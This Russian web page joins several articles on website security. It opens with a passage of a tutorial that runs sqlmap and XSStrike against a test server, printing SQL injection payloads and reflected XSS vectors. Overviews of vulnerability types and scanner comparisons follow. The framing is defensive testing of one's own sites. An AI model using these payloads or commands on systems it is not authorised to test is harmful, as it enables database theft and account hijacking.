Как можно видеть, скрипт определил, что параметр id уязвим и предлагает протестировать другие параметры. В нашем конкретном случае других параметров нет, но в реальных веб-приложениях таких параметров может быть десятки, так что иногда имеет смысл проверить все.

Итоговый отчет:

sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=2 AND 9795=9795

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2 AND (SELECT 7989 FROM (SELECT(SLEEP(5)))geJr)

Type: UNION query
Title: Generic UNION query (NULL) – 4 columns
Payload: id=2 UNION ALL SELECT NULL,CONCAT(0x716a6a6b71,0x736654714b69505a4f6f64434776566d7a43455179446561434f7a46434241555449574d6759575a,0x7162627171),NULL,NULL– –

[INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching database names
available databases [2]:
[*] information_schema
[*] vc_test

[INFO] fetched data logged to text files under ‘C:UsersAdminAppDataLocalsqlmapoutput161.35.92.161’

В итоге скрипт не только определил, что параметр id является уязвимым, но и версию СУБД, а также получил название используемой базы данных на сервере – vc_test, в которой содержится контент сайта. Эту информацию можно найти в конце сгенерированного отчета.

В дальнейшем для злоумышленника уже обычно не проблема получить данные в таблицах, а возможно и полный контроль над всей БД, а то и всем нашим сервером и исходным кодом сайта, если для запросов используется пользователь с широкими правами.

Кроме того, sqlmap позволяет задавать http заголовки и параметры Cookies, что довольно удобно для тестирования, особенно когда для получения результата запроса требуется авторизации.

Пример тестирования запроса POST. Параметры, которые передаются в теле запроса записываются в опцию скрипта –data. Необходимые параметры для POST запроса можно подсмотреть в консоли браузера (Ctrl + Shift + I в Windows, затем перейти в вкладку Network, совершить нужное действие, а затем изучить каким образом формируется запрос)

sqlmap.py -u http://localhost/login –data=”username=alex&password=pass” –dbs -o -random-agent

После авторизации обычно необходимо передать нужные Сookie. В sqlmap за это отвечает опция –cookie. Нужные значения cookies можно получить в инструментах разработчика вашего браузера. (в Windows ctrl+shift+i, затем найдите вкладку Network, а в ней щелкните на запрос с именем домена сайта. В окне справа пролистайте пока не увидите параметр cookie)

Пример команды sqlmap c опцией –cookie.

sqlmap.py -u http://localhost/create –data=”name=alex&message=hacked” –cookie=”security_level=low; PHPSESSID=05aa4349068a1kkaje4kcqnr9o6″ –dbs -o -random-agent

Если параметров несколько, то можно явно указать какой параметр будем тестировать с помощью опции -p.

sqlmap.py -u “http://localhost/profile/?username=alex&page=2” -p username

Можно задавать http заголовки через опцию –headers. Это крайне полезно для тестирования ваших API.

Также если get параметр передается не как get параметр, а как URI, то в этом случае нужно явно указать с помощью *, что данная часть URI является параметром. Пример:

sqlmap.py -u “http://localhost/api/v2/news/2*” –headers=”Authorization: Bearer <token>” –dbs -o -random-agent

Таким образом можно довольно тщательно протестировать ваше веб-приложение на наличие SQL инъекций. Также крайне полезно использовать sqlmap для автоматических тестов и запускать их после каждого изменения кода вашего приложения и не допускать код в ветку master, если он содержит уязвимость.

Для защиты от SQL инъекций нужно тщательно фильтровать параметры и HTTP заголовки, а также использовать подготовленные запросы.

5. Проверка на XSS уязвимости.

Межсайтовый скриптинг (XSS) – это уязвимость, которая заключается во внедрении злоумышленником своего Javascript кода в веб-страницу, которая отображается в браузере пользователя.

После такого внедрения злоумышленник фактически захватывает веб-страницу и может манипулировать данными пользователя, когда он находится на странице. В случае успеха злоумышленник может:

  • Внедрять свои скрипты в веб-страницу
  • Отправлять на свой сервер пользовательские данные – банковские карты, идентификаторы сессий, пароли и тд.
  • Совершать действия от имени пользователя – рассылать спам, совершать денежные переводы

Уязвимость возникает из-за недостаточной фильтрации данных, которые выводятся при отображении страницы.

Такие уязвимости довольно часто встречаются даже в крупных продуктах, поэтому стоит обязательно тестировать свои веб-приложения на наличие XSS уязвимостей.

В данном случае для тестирования мы воспользуемся утилитой XSStrike

ХSStrike – это довольно продвинутый сканер для поиска XSS уязвимостей c открытым исходным кодом. Он написано на Python3 и довольно прост в начальной настройке и использования.

Установка

Для установки необходимо скачать архив по ссылке и распаковать в удобную вам папку. После этого необходимо открыть консоль (ранее я уже показывал как это сделать в Mac и Windows) и перейти в распакованную папку. Затем нужно выполнить команды в консоле:

pip3 install pygame

Установим необходимые для корректной работы библиотеки:

pip3 install -r requirements.txt

Теперь мы готовы к тестированию. Пример простого запуска, вместо моего url укажите адрес страницы, которую хотите протестировать:

python xsstrike.py -u “http://161.35.92.161/index.php?page=2” –blind

Очень быстро скрипт обнаруживает, что параметр page является уязвимым ( строчка Reflections found ) и через него можно передать js код, который будет исполнен на странице. Пример такого кода приводится в строчке Payload. Такой тип XSS уязвимостей называется reflected XSS.

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: page
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
————————————————————
[+] Payload: <HTmL%0aONmOuSEoVeR+=+(prompt)“%0dx//
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N] n

Кроме того, можно проверять и формы. Отправим на проверку форму, которая отправляет сообщение в наш сервис. Чтобы передать список POST параметров используем опцию –data.

python xsstrike.py -u “http://161.35.92.161/index.php” –data “name=&message=” –blind

Результат: параметр name уязвим.

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: name
[!] Reflections found: 3
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 4608
————————————————————
[+] Payload: <A%0aOnmOUSeOVEr%0d=%0d(prompt)“%0dx>v3dm0s
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N]

Как выглядит ответ, когда скрипт не находит уязвимых параметров:

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: name
[-] No reflection found
[!] Testing parameter: message
[-] No reflection found

Кроме того, в XSStrike поддерживает возможность передавать http заголовки, в том числе и cookies и проверять страницы для открытия которых нужна авторизация. Для этого используется опция –headers

python xsstrike.py -u “http://161.35.92.161/index.php” –data “name=&message=” –headers “Authorization: Bearer <token> Cookie: zmname=none” –blind

Также можно запустить обход по всему сайту. Нужно указать стартовую страницу и сканер начнет обход всех найденных страниц. Запись -l 100 отвечает за количество страниц обхода.

python xsstrike.py -u “http://161.35.92.161” –blind –crawl -l 100

Скрипт покажет страницы, на которых были найдены уязвимые параметры. Найденные страницы можно уже исследовать подробнее.

[~] Crawling the target
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for message: <htMl%09oNMOuseoVER%0d=%0dconfirm()//
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for page: <hTMl%0donPointereNter%0a=%0a[8].find(confirm)>
[++] Vulnerable webpage: http://161.35.92.161/index.php
[++] Vector for name: <D3v/+/oNMoUSeoveR%0a=%0a(confirm)()%0dx>v3dm0s
!] Progress: 3/3

Также полезная функция – обход url страниц, которые указаны в файле с помощью опции –seeds. Можно также использовать вместе с опцией –headers.

python xsstrike.py -u “http://example.com” -l 3 –seeds urls.txt

Таким образом можно достаточно тщательно проверить свое веб-приложение на XSS уязвимости. Также хорошим ходом будет написать простой bash скрипт для объединения всех проверок XSS в один скрипт, специально заточенный под ваш проект.

Его задачей будет тестировать ваше веб-приложение после каждого изменения исходного кода и не пускать коммит в ветку master, если страницы и формы содержат XSS уязвимости .

Для борьбы с XSS уязвимости нужно также тщательно фильтровать данные, которые показываются пользователю.

Заключение

Надеюсь руководство будет полезным и поможет вам сделать свои сайты и веб-приложения безопаснее. Также стоит проверять не только сам сайт, но и ваши админки и вспомогательные сервисы на поддоменах, ведь они также могут быть уязвимы перед подобными автоматизируемыми системами и скриптами.

Конечно приведенные меры не обеспечивают 100% защиты, и я не рассказал о многих других типовых уязвимостях, но показанные меры помогут защитить проект от автоматизированных систем взлома и злоумышленников с невысокими навыками.

Если есть вопросы, то смело пишите их в комментариях или мне в телеграм t.me/alex.belousov92

Также будет интересно почитать, что вы используете для тестирования безопасности ваших веб-приложений. Если статья наберет достаточное количество плюсов, то напишу продолжение. Поэтому не забудьте проголосовать, если статья понравилась!

05 декабря 2022

Чтобы обезопасить свой веб-проект от взлома и других киберугроз, необходимо регулярно проверять его на наличие уязвимых мест в безопасности. Чем популярнее ваш сайт и чем более ценную информацию он содержит, тем серьезнее должны быть средства защиты. Существует немало коммерческих сканеров уязвимостей, которые позволяют выявить фактические и потенциальные «дыры», но большинству веб-сайтов бывает достаточно и бесплатных сервисов, обеспечивающих базовые уровни проверки. В статье мы расскажем о пяти онлайн-сканерах, благодаря которым можно как искать уязвимости сайта, так и узнавать об уже активном вредоносном коде.

Уязвимости на сайте: самые слабые места

Перед тем, как найти уязвимость на сайте, стоит изучить наиболее распространенные недостатки системы, которые программы сканирования отмечают в первую очередь. Поиск уязвимостей чаще всего показывает, что сайт:

  1. Открыт для инъекций (SQL, LDAP, OS и др.), т. е. ввода и выполнения непроверенных данных.
  2. Имеет проблемы с аутентификацией и управлением сеансами.
  3. Не защищен от межсайтового скриптинга (XSS).
  4. Имеет проблемы с настройкой прав доступа.
  5. Использует уязвимую конфигурацию и компоненты.
  6. Недостаточно защищен от атак.
  7. Подвержен риску межсайтовой подделки запросов.
  8. Передает данные в открытом виде, не использует инструменты генерации/управления паролями.

Перечислить все возможные угрозы не получится, но указанные нюансы стоит проверить в любом случае. Это самые «любимые» у хакеров пути вмешательства.

Как найти уязвимости на сайте.

ТОП-5 бесплатных сканеров для поиска уязвимостей на сайте

Искать слабые места вручную — довольно трудоемкая задача, поэтому специальные программные сканеры становятся лучшими друзьями любому веб-мастеру, заботящемуся о безопасности своих проектов. Ниже мы кратко расскажем о пяти сервисах, которые позволяют проверять сайт на уязвимости и находить даже потенциальные угрозы абсолютно бесплатно.

№1. SiteGuarding.com

Приложение совместимо со многими CMS: WordPress, Joomla, Drupal, Magento и пр. Может просканировать сайт на наличие вирусов и других вредоносных программ, обнаружить спам-инъекции, проверить, не внесен ли домен в черные списки и актуальны ли используемые версии ПО, проанализировать внутренние ссылки и мн. др. SiteGuarding также позволяет удалить зараженные компоненты. Сложноват в настройке, но результаты сканирования имеют очень удобное отображение.

№2. Sucuri SiteCheck

Популярный сканер уязвимостей, который работает с большинством современных движков и довольно прост в управлении. Он проводит быстрые сканирования, но весьма ограничен в функционале и потому дает мало информации. Sucuri проверяет, присутствует ли сайт в списках безопасного просмотра Google и Яндекс, ищет его в блэк-листах, находит вредоносное ПО и очищает от него веб-сервер, сообщает об отсутствии файервола, мониторинга и некоторых служб.

№3. H-X Scanner

Онлайн-сканер работает в двух режимах. Быстрый занимает около пяти минут, результаты отображаются тут же на странице. В нормально режиме сканирование может длиться до нескольких часов, в зависимости от объема сайта и его сложности. Сервис не требует регистрации: достаточно ввести домен, который нужно проверить, и указать электронную почту, на которую придет отчет при выборе нормального поиска. Подходит для ручной верификации уязвимостей, отчетная документация довольно подробная и с ней удобно работать.

№4. Observatory

Сканер от разработчиков проекта Mozilla, доступный для простого пользователя благодаря понятному интерфейсу и наглядным отчетам. Функционал включает в себя тестирование протоколов безопасности SSL/TLS, проверку предварительной загрузки HSTS, анализ HTTP-заголовков на предмет уязвимостей и др. Сервисом можно пользоваться прямо через окно браузера, потребуется только веб-адрес сайта.

№5. ImmuniWeb

Довольно серьезный инструмент для оценки информационной безопасности сервера, который обслуживает ваш сайт. Сканер проверяет, соответствует ли он требованиям таких стандартов, как PCI DSS и GDRP, анализирует заголовки HTTP и библиотеки интерфейсов, проводит CMS-тесты для ресурсов, построенных на ВордПресс и Друпал. Для бесплатного продукта у него достаточно широкий функционал. Не очень быстрый сканер, но предоставляет удобные информативные отчеты.

Как повысить защищенность сайта

Вот несколько общих рекомендаций, которые стоит соблюдать, чтобы обеспечить безопасность ресурса:

  1. Отслеживайте актуальность используемого ПО и обновляйте его вовремя.
  2. Используйте сложные пароли, периодически их меняйте, не ставьте один и тот же пароль на разные аккаунты и сервисы.
  3. Скачивайте сторонние программы и компоненты только из проверенных источников.
  4. Установите антивирус на сайт и сервер.
  5. Регулярно проводите резервное копирование, храните бэкапы в нескольких экземплярах в независящих друг от друга местах.
  6. Сканируйте сайт на уязвимости не реже одного раза в месяц.

Мы также рекомендуем тщательно выбирать хостинг-провайдера и подключить хотя бы стандартную защиту от DDoS-атак.

Как повысить защищенность сайта.

Заключение

Сегодня вопрос кибербезопасности стоит как никогда остро. Подвергнуться атаке злоумышленников может любой интернет-ресурс, вне зависимости от его размера и популярности. Чтобы не стать жертвой внезапного нападения, действуйте на опережение и находите уязвимости в своей защите до того, как ими воспользуются в преступных целях. В этом вам помогут сканеры, о которых мы рассказали в статье.

В статье рассказывается:

  1. Что такое уязвимость сайта
  2. 10 наиболее уязвимых мест веб-сайта
  3. Профилактика уязвимости сайта с помощью аудита
  4. Лучшие сканеры уязвимостей сайта онлайн
  5. ТОП-10 бесплатных сканеров уязвимостей сайтов
  6. Что делать, если злоумышленники уже воспользовались уязвимостью вашего сайта

В системе любого сайта есть слабые места, получив доступ к которым хакеры могут управлять им и использовать личные данные пользователей. Эти слабые места — уязвимости сайтов. Чтобы мошенники не могли получить информацию с сайта, он должен быть надежно защищен. Но в любой, даже самой защищенной системе есть лазейки, по которым хакеры получают доступ к данным. Проникнув в систему, они могут изменить любую информацию и воспользоваться сайтом в личных целях.

Что такое уязвимость сайта

В IT-области уязвимостями называют недостатки в системе, которые хакеры используют для намеренного причинения ущерба. Эти недостатки появляются в результате ошибок при программировании, проектировании системы, использования ненадежных паролей, воздействия вирусов и вредоносных программ, скриптовых и SQL-инъекций.

Как сайты, так и разное ПО могут быть уязвимыми и терять информацию из-за недостатков в системе, которыми воспользовались хакеры для незаконных действий. Некоторые недостатки представляют реальную опасность для веб-ресурсов и могут серьезно навредить вашим проектам. Поэтому важно понимать, какие уязвимости сайтов существуют и как они могут влиять на интернет-проекты.

Что такое уязвимость сайта

Приведем элементарный пример, позволяющий лучше понять, что такое уязвимости сайтов.

Допустим, веб-ресурс — это большая защищенная крепость с бойницами. Пока на территорию крепости не проникнут посторонние, все в порядке. На первый взгляд, благодаря высоким стенам, пушкам на башнях и глубокому рву недоброжелатель не может попасть внутрь.

Однако один злоумышленник перелез через стену, другой под видом мирного жителя прошел в ворота, третий проник во двор через неохраняемую потайную лазейку.

Ситуации с сайтами мало отличаются от этого примера. Вы можете позаботиться о надежной и многоступенчатой защите своего ресурса. Но чем сложнее он устроен, тем выше вероятность того, что в одном из элементов окажется уязвимое место для безопасности всей системы. Используя уязвимости сайтов, злоумышленник может сбить работу ресурса и получить полный доступ к системе.

Результаты специального исследования на тему самых уязвимых сайтов, проведенного компанией Positive Tehnologics, показали, что атаке со стороны хакеров наиболее подвержены те ресурсы, которые написаны на PHP и имеют собственный движок. Самими безопасными оказались сайты, где использованы технологии Java/ASP.NET и коммерческие CMS.

Не забывайте, что главная цель хакеров — получить полный контроль над системой, и если на сайте есть уязвимости, задача для злоумышленников упрощается. Поэтому не жалейте средств на создание безопасного ресурса. Это дешевле, чем дальнейшее устранение недостатков и восполнение ущерба от хакерских атак.

10 наиболее уязвимых мест веб-сайта

Перечислим основные уязвимости сайтов, на которые стоит обратить внимание.

Инъекции/Injection

Инъекции/Injection

Инъекции — это слабые места, которые возникают из-за передачи пользователем непроверенных данных интерпретатору для выполнения. То есть любой интернет-пользователь может произвольно ввести код в интерпретаторе. Самыми распространенными видами инъекций считаются SQL, OS, XXE и LDAP.

Скорее всего, о трех последних вы никогда не слышали. Но сайты с уязвимостью SQL однозначно вам знакомы. Используя их, хакер может проникнуть в базу данных, прочесть секретную информацию из нее и даже внести собственные значения. Инъекции появляются тогда, когда не проверяют, есть ли в информации, передаваемой интерпретатору, управляющие последовательности и команды, например кавычки в SQL.

Проблемы с аутентификацией и проверкой сессий

Для работы со многими приложениями пользователи должны пройти идентификацию. Часто проверка подлинности и управления сессиями проводится неправильно, в результате чего хакеры получают доступ к учетным записям пользователей без паролей. Мошенники могут заполучить ключи или токены сеанса, идентифицирующие пользователей, и применять их какое-то время или постоянно.

XSS

XSS

Инъекции и проблемы с аутентификацией и проверкой сессий наиболее опасны для сайта и его сервера. XSS для сервера не представляет серьезную угрозу. Но при этом XSS опасна для посетителя сайта. XSS работает в его браузере и позволяет украсть его информацию.

XSS, или Cross-Site Scripting, работает в JavaScript по такому же принципу, как и в инъекциях. Мошенник передает в одном из полей специальную строчку с JS-кодом. Браузер думает, что этот код отправил сайт, и выполняет его. При этом код может быть любым. Чтобы защититься от подобных атак, все специальные символы нужно экранировать при помощи функции html special chars или аналогичных ей.

Проблемы с контролем доступа

Часто из-за невнимательности администраторов простые пользователи получают доступ к закрытой информации. Эта проблема характерна даже для популярных движков.

Яркий пример — файлы в корне веб-сайта. Допустим, файл wp-config.php с паролями доступа к базе данных закрыт благодаря своему расширению php. Но его редактирование в Vim и неправильное сохранение ведет к созданию резервной копии с расширением .swp, которую уже можно спокойно открывать в браузере.

Еще одна проблема с контролем доступа — ошибки в коде приложения, из-за которых незарегистрированным посетителям становится доступна секретная информация.

Неправильная конфигурация

Для обеспечения безопасности приложение должно иметь безопасную конфигурацию, спланированную и разработанную на уровне приложения и framework, и правильно настроенные серверы. Нужно разрабатывать, внедрять и постоянно поддерживать настройки безопасности. Многие сервисы по умолчанию имеют небезопасную конфигурацию. Кроме того, ПО должно быть актуальным всегда.

Незащищенная конфиденциальная информация

Незащищенная конфиденциальная информация

Во многих веб-приложениях, на сайтах, API нет защиты персональной информации пользователей, в результате чего она находится в открытом доступе. Это могут быть пароли, токены, ключи, медицинская или финансовая информация. Хакеры могут украсть или даже изменить важные данные, применив атаку «Человек посередине». Конфиденциальная информация должна быть защищена, например, шифрованием https или другими методами.

Слабое противостояние атакам

Большая часть приложений и API не могут выявлять, предотвращать и реагировать как на ручные, так и на автоматизированные атаки. У них нет для этого базового функционала. Чтобы надежно защищать ресурс от атак, недостаточно просто проверять соответствие логина и пароля.

Для защиты сервис должен выявлять, фиксировать и даже блокировать попытки неверного входа и прочие несанкционированные действия. У авторов приложений также должна быть возможность быстрого развертывания исправлений для защиты от новых атак.

Уязвимости CSRF

При атаке CSRF или Cross-Site Request Forgery хакер может отправить с браузера пользователя тот или иной HTTP-запрос, в том числе cookie, файлы сеанса и любые другие данные, которые автоматически включаются в слабозащищенное веб-приложение.

То есть мошенник может делать запросы из браузера пользователя. Приложение считает, что они верные и отправлены непосредственно пользователем. Допустим, вы просто проходите по ссылке, а сайт уже делает рекламную рассылку вашим друзьям без вашего ведома или удаляет аккаунт.

Применение компонентов с уязвимостями

Применение компонентов с уязвимостями

У таких компонентов, как библиотеки, frameworks и прочие программные модули, те же полномочия, что и у приложения. Если один компонент уязвим, то, атаковав сервис, хакер может украсть важную информацию или даже начать управлять сервисом. Из-за приложений и API, использующих компоненты с распространенными уязвимостями, может ослабнуть защита приложений, что приведет ко всевозможным атакам. В компонентах могут присутствовать разные виды уязвимостей, обеспечивающие мошеннику доступ к закрытой информации.

Незащищенные API

Современные приложения состоят сейчас в основном из клиентских приложений и богатых API интерфейсов, доступных через JavaScript в браузере или из мобильных приложений. Они могут работать по протоколам SOAP/XML, REST/JSON, RPC, GWT и т. д. Эти API часто не защищены и также разработаны со множеством ошибок, ведущих к уязвимости.

Профилактика уязвимости сайта с помощью аудита

Профилактика уязвимости сайта с помощью аудита

Тест сайта на уязвимость — это упреждающий процесс, позволяющий обнаружить слабые места, понять, насколько защищен сайт, какие атаки ему грозят. На основе полученной информации можно разработать план защиты веб-ресурса.

Как найти уязвимость на сайте? Комплексная проверка безопасности включает в себя следующие действия:

  • Атаку методом подбора паролей.

  • Внедрение XML-сущностей.

  • Поиск элементов с известными уязвимостями.

  • Проверку на удаленное выполнение произвольного кода.

  • Выявление уязвимых мест в компонентах сервера и веб-окружении сайта.

  • Проверку на наличие инъекций кода.

  • Попытки обойти систему аутентификации.

  • Выявление CSRF-/XSS-уязвимости сайта.

  • Попытки перехватить привилегированные аккаунты или их сессии.

  • Проверку вероятности файловых инъекций Remote File Inclusion / Local File Inclusion.

  • Проверку на открытые редиректы и перенаправления на другие веб-ресурсы.

  • Сканирование директорий при помощи перебора и взлома через индекс Google.

  • Проверку всех форм на сайте: регистрации, входа, поиска и других.

  • Проверку возможности открыто получать конфиденциальные данные.

  • Проверку на атаки класса Race Condition — ошибки при проектировании многопоточных систем и приложений.

Аудит проводят с помощью сканеров уязвимостей — специализированных программ, проверяющих сайт и анализирующих типичные слабые места. На основании полученных данных делают вывод об общей защищенности сайта.

Выделяют 3 вида сканеров:

  • Сетевые. Проводят дистанционную проверку через подключение к сетевым ресурсам. Этот тип сканеров самый востребованный.

  • Пассивные. Информацию они получают из сетевого трафика, но при этом, в отличие от сетевых, снижают влияние сканера на уязвимые места.

  • Локальные. Устанавливаются прямо на проверяемый узел и позволяют получить максимально достоверные данные. Поиск уязвимостей на сайте предполагает сравнение атрибутов файлов.

Лучшие сканеры уязвимостей сайта онлайн

Достаточно распространенный сейчас вид софта — сканеры веб-приложений. Эти инструменты бывают как платными, так и бесплатными. Каждый обладает определенным набором характеристик и проверяет разные виды уязвимости сайтов онлайн. Одни сканеры только публикуются в OWASP Top Ten (Open Web Application Security Project), другие проводят гораздо более глубокое black-box тестирование.

Далее мы рассмотрим 7 самых распространенных и опробованных на практике сканеров. Каждый их них был опробован на независимых точках двух платформ (.NET и php): premium.pgabank.com и php.testsparker.com.

OWASP ZAP

OWASP ZAP

Из названия следует, что OWASP ZAP выпускает компания OWASP. Это бесплатный сканер, который определяет вероятность проникновения в систему и ищет слабые места в веб-приложениях.

Ключевые возможности OWASP ZAP:

  • Man-in-the-middle Proxy.

  • Traditional and AJAX spiders.

  • Automated scanner.

  • Passive scanner.

  • Forced browsing.

  • Fuzzer.

Интерфейс сканера разработан на русском языке, что удобно для многих пользователей. Рабочее поле OWASP ZAP состоит из нескольких окошек. Снизу расположены вкладки с текущими задачами и процессом их решения. Слева — дерево сайтов. Дополнительно можно вывести вправо часть окна запросов и ответов.

Маркетплейс позволяет чуть расширить функционал инструмента.

В каждом компоненте программы можно настроить множество параметров. Предусмотрены возможности настройки входящих векторов для активной проверки, генерации динамических SSL-сертификатов, добавления идентификаторов HTTP-сессий и т. д.

При тестировании инструмент выявил на сайте php.testsparker.com Blind SQL Injection. На этом уязвимые места закончились. На premium.bgabank.com тестирование уязвимостей сайта дало более интересные результаты: инструмент нашел возможность Server Side Include (SSI) и Reflected Cross Site Scripting.

Все результаты тестирования можно поместить в отчет (в форматах*.pdf, *.html, *.xml, *.json), включающий в себя выявленные векторы, подробное описание уязвимостей и способы их устранения.

В целом использовать OWASP ZAP удобно. Он включает в себя весь необходимый инструментарий для пентеста веб-приложений, обладает простым и понятным интерфейсом, быстро, в один клик, сканирует сервисы. Кроме того, благодаря глубоким и гибким настройкам для более тщательного анализа в дальнейшем сканировать сайт на уязвимости можно вручную.

W9scan

W9scan

W9scan — бесплатный консольный сканер уязвимостей ресурса с более чем 1200 встроенными плагинами, способными распознавать отпечатки веб-страниц, портов, анализировать структуру сайта, находить известные уязвимости, сканировать на SQL Injection, XSS и выполнять иные функции.

W9scan в автоматическом режиме формирует отчетность о результатах сканирования в формате HTML. Чтобы запустить сканирование сайта на уязвимости, достаточно указать url сайта и плагины, которые будут использованы. Можно выбрать сразу все — дописать «all».

В процессе сканирования php.testsparker.com в тестовом режиме W9scan обнаружил svn и потенциальные пути загрузки payload. Из менее значимых событий — установил версии работающих сервисов, векторы проведения XXE-, XXS-атак, обнаружил конфигурационные файлы сервера и нашел субдомены.

На сайте premium.bgabank.com сканер не нашел ничего существенного. Но выявил вероятные векторы атак, версии сервисов, субдомены и директории.

После проверки W9scan автоматически создает в HTML-формате файл отчета с результатами сканирования.

Инструмент подходит для быстрого запуска в одну команду. Лучше всего применять его в качестве вспомогательного инструмента, позволяющего определять версии сервисов и потенциальные векторы атак.

Wapiti

Wapiti

Тоже достаточно хороший консольный сканер. Как и W9scan, готов к запуску в одну команду, но при этом имеет множество настроек, благодаря которым проверка сайта на уязвимости онлайн весьма удобна.

Wapiti ищет следующие уязвимости:

  • File disclosure (Local and remote include/require, fopen, readfile…).

  • Database Injection (PHP/JSP/ASP SQL Injections and XPath Injections).

  • XSS (Cross Site Scripting) injection (reflected and permanent).

  • Command Execution detection (eval(), system(), passtru()…).

  • CRLF Injection (HTTP Response Splitting, session fixation…).

  • XXE (XML External Entity) injection.

  • SSRF (Server Side Request Forgery).

  • Use of know potentially dangerous files.

  • Weak .htaccess configurations that can be bypassed.

  • Presence of backup files giving sensitive information.

  • Shellshock.

Кроме вышеперечисленного, предусмотрены разные методы аутентификации (Basic, Digest, Kerberos, NTLM), поддержка прокси (HTTP, HTTPs и SOCKS5), поддержка SSL-сертификатов, возможность добавлять разные HTTP-заголовки или настройки user-agent.

В ходе тестирования после проверки php.testsparker.com сканер нашел уязвимости сайта Blind SQL Injection, Cross Site Scripting, Commands execution. На premium.bgabank.com Wapiti, по сравнению с другими сканерами, показывает не такие грандиозные успехи: ей удалось обнаружить лишь Cross Site Scripting.

После проверки также автоматически создается отчет формата HTML, включающий в себя категории и количество выявленных уязвимых мест вместе с их описанием, запросами, командами для url и рекомендациями по устранению недостатков в безопасности сайта.

Как и предполагалось, Wapiti отстает от OWASP ZAP. Но при этом результаты его проверки оказалось лучше, чем у W9scan, хотя и не были найдены директории, субдомены, не были определены версии сервисов.

Arachni

Arachni

Бесплатный инструмент с высокой мощностью, проверяющий уровень защищенности веб-приложений и ищущий уязвимости. Обладает графическим интерфейсом и очень богатым функционалом, о котором можно подробнее узнать на официальном сайте.

Активное тестирование:

  • SQL injection — Error based detection.

  • Blind SQL injection using differential analysis.

  • Blind SQL injection using timing attacks.

  • NoSQL injection — Error based vulnerability detection.

  • Blind NoSQL injection using differential analysis.

Пассивное тестирование:

  • Allowed HTTP methods.

  • Backup files.

  • Backup directories.

  • Common administration interfaces.

  • Common directories.

  • Common files.

Впечатляет, не так ли? Но это не все. «Паутина» включает в себя еще множество плагинов: Passive Proxy, Dictionary attacker for HTTP Auth, Cookie collector, WAF Detector и другие.

Инструмент обладает лаконичным и приятным интерфейсом.

Результаты сканирования на сайтах при тестировании. Php.testsparker.com:

  • Cross-Site Scripting (XSS) in script context.

  • Blind SQL Injection (differential analysis).

  • Code injection.

  • Code injection (timing attack).

  • Operating system command injection (timing attack).

  • Operating system command injection.

На premium.bgabank.com из критичных уязвимостей сканер выявил только вероятность межсайтовой подделки запросов (CSRF).

Надо заметить, что Arachni формирует очень привлекательные визуально отчеты в форматах HTML, XML, text, JSON, Marshal, YAML, AFR.

То есть с Arachni приятно работать. Его можно считать маст-хэвом, обязательным для любого веб-мастера.

Tenable.io

Tenable.io

Облачный инструмент для сканирования с обширным функционалом. Использование платное. Выявляет множество уязвимостей сайта и практически полностью превосходит OWASP TOP 10 2017.

Инструмент оснащен встроенным веб-пауком. При указании в настройках проверки данных авторизации (запроса авторизации, логина и пароля, авторизованных cookies) проанализирует и личный кабинет (зону зарегистрированного пользователя).

Помимо проверки приложений, инструмент также сканирует сеть, выявляя, есть ли в ней известные уязвимости и хосты. Можно подключить агентов для анализа внутренней сети. Отчеты создаются в форматах *.nessus, *.csv, *.db, *.pdf.

После проверки можно увидеть статистику и выявленные уязвимости в порядке приоритетности: critical, high, middle, low, information.

В карточке уязвимости отражены дополнительные сведения о ней и советы по устранению недостатков.

Анализ php.testsparker.com. Уязвимости с приоритетом high:

  • H: Уязвимости компонентов:

  • вышедшая из поддержки версия PHP;

  • вышедшая из поддержки версия Apache.

  • H: Code injection.

  • H: SQLinj.

  • H: XSS.

  • H: LFI.

  • H: Path Traversal.

Далее — premium.bgabank.com. Уязвимости с приоритетом high:

  • H: Уязвимости компонентов:

  • вышедшая из поддержки версия PHP;

  • уязвимости Apache;

  • уязвимости Bootstrap;

  • уязвимости JQuery.

Инструмент Tenable.io отлично себя зарекомендовал, выявив много уязвимостей. Благодаря удобному графическому интерфейсу и представлению данных работать с ним легко. Еще одно преимущество состоит в том, что в Tenable.io присутствуют дополнительные профили сканирования. Отличительная черта инструмента — облачная структура. Программа для поиска уязвимостей на сайте не пользуется локальными вычислительными ресурсами рабочего компьютера. При этом проверять веб-приложения в локальной сети она не может.

Кейс: VT-metall

Узнай как мы снизили стоимость привлечения заявки в 13 раз для металлообрабатывающей компании в Москве

Узнать как

Burp Suite Pro

Burp Suite Pro

Burp Suite — это комплексный инструмент для проверки приложений. Состоит из различных утилит, предназначенных для улучшения и ускорения поиска уязвимостей в приложении.

Burp Suite включает в себя следующие утилиты:

  • Прокси-сервер, перехватывающий трафик, который проходит по протоколу HTTP(S), в режиме man-in-the-middle. Утилита находится между браузером и целевым приложением, помогает перехватить, изучить и изменить трафик, идущий в двух направлениях.

  • Spider. Веб-паук, автоматически собирающий данные о содержании и функциях приложения (сайта).

  • Scanner (только в Burp Suite Pro). Инструмент, который автоматически ищет уязвимости в веб-приложениях.

  • Гибкая утилита, предназначенная для различных автоматизированных атак. К примеру, она может перебирать идентификаторы, собирать важную информацию и т. д.

  • Сервис, позволяющий вручную менять и повторно направлять отдельные HTTP-запросы, а также анализировать ответы приложения.

  • Утилита помогает анализировать случайную информацию приложения на возможность предсказания схемы ее генерации.

  • Утилита, позволяющая автоматически или вручную кодировать и декодировать данные в приложении.

  • Инструмент помогает искать визуальные отличия между двумя вариантами информации.

  • Инструмент, добавляющий расширения в Burp Suite.

Утилита Scanner расположена в одноименной вкладке в основном окне программы Burp Suite. Язык интерфейса — английский, но сегодня это никого не пугает.

